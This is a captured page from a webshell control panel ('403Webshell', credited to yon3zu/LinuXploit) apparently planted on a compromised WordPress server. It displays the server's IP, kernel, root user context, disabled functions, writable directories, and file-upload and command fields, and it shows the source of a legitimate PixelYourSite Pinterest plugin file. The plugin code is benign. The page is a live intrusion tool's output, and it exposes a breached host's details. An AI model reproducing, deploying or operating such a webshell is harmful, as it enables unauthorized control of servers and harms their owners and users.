403Webshell
Server IP : 37.27.51.148  /  Your IP : 216.73.217.84
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/pixelyoursite-pinterest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/pixelyoursite-pinterest/pixelyoursite-pinterest.php
<?php

/**
 * Plugin Name: PixelYourSite Pinterest
 * Plugin URI: http://www.pixelyoursite.com/
 * Description: Manage your Pinterest Tag: automatically add it to any page, fire events, integrate with WooCommerce or Easy Digital Downloads.
 * Version: 5.3.1
 * Author: PixelYourSite
 * Author URI: http://www.pixelyoursite.com
 * License URI: http://www.pixelyoursite.com/pixel-your-site-pro-license
 *
 * Requires at least: 4.4
 * Tested up to: 6.3
 *
 * WC requires at least: 2.6.0
 * WC tested up to: 8.4
 *
 * Text Domain: pys
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}

use PixelYourSite\Pinterest;

define( 'PYS_PINTEREST_VERSION', '5.3.1' );
define( 'PYS_PINTEREST_PRO_MIN_VERSION', '9.11.0.3' );
define( 'PYS_PINTEREST_FREE_MIN_VERSION', '8.0.0' );
define( 'PYS_PINTEREST_PATH', untrailingslashit( plugin_dir_path( __FILE__ ) ) );
define( 'PYS_PINTEREST_URL', untrailingslashit( plugin_dir_url( __FILE__ ) ) );
define( 'PYS_PINTEREST_PLUGIN_FILE', __FILE__ );

require_once 'modules/pinterest/functions-common.php';
require_once 'modules/pinterest/functions-admin.php';
require_once 'modules/pinterest/functions-woo.php';
require_once 'modules/pinterest/functions-edd.php';
require_once 'modules/pinterest/functions-migrate.php';

register_activation_hook( __FILE__, 'pysPinterestActivation' );
function pysPinterestActivation() {
    if ( Pinterest\isPysProActive() ) {
        if ( ! Pinterest\pysProVersionIsCompatible() ) {
            wp_die( 'PixelYourSite Pinterest requires PixelYourSite PRO version ' . PYS_PINTEREST_PRO_MIN_VERSION . ' or newer.',
                'Plugin Activation',
                array(
                    'back_link' => true,
                ) );
        }
    } elseif ( Pinterest\isPysFreeActive() ) {
        if ( ! Pinterest\pysFreeVersionIsCompatible() ) {
            wp_die( 'PixelYourSite Pinterest requires PixelYourSite Free version ' . PYS_PINTEREST_FREE_MIN_VERSION . ' or newer.',
                'Plugin Activation',
                array(
                    'back_link' => true,
                ) );
        }
    } else {
        wp_die( 'PixelYourSite Pinterest requires PixelYourSite PRO or Free activated.',
            'Plugin Activation',
            array(
                'back_link' => true,
            ) );
    }
}

/**
 * Add support WooCommerce High-Performance order storage (COT)
 */
add_action( 'before_woocommerce_init', function() {
    if ( class_exists( \Automattic\WooCommerce\Utilities\FeaturesUtil::class ) ) {
        \Automattic\WooCommerce\Utilities\FeaturesUtil::declare_compatibility( 'custom_order_tables', __FILE__, true );
    }
} );

/**
 * Initialize Pinterest plugin instance.
 * Should be loaded before PYS core ( init, 9 ) to prevent dummy Pinterest plugin usage
 */
if ( Pinterest\isPysProActive() ) {
    if ( Pinterest\pysProVersionIsCompatible() ) {
        add_action( 'init', function() {
            require_once 'modules/pinterest/pinterest.php';
        }, 8 );
    } else {
        add_action( 'admin_notices', 'PixelYourSite\Pinterest\adminNoticePysProOutdated' );
    }
} elseif ( Pinterest\isPysFreeActive() ) {
    if ( Pinterest\pysFreeVersionIsCompatible() ) {
        add_action( 'init', function() {
            require_once 'modules/pinterest/pinterest.php';
        }, 8 );
    } else {
        add_action( 'admin_notices', 'PixelYourSite\Pinterest\adminNoticePysFreeOutdated' );
    }
} else {
    add_action( 'admin_notices', 'PixelYourSite\Pinterest\adminNoticePysCoreNotActive' );
}

Youez - 2016 - github.com/yon3zu
LinuXploit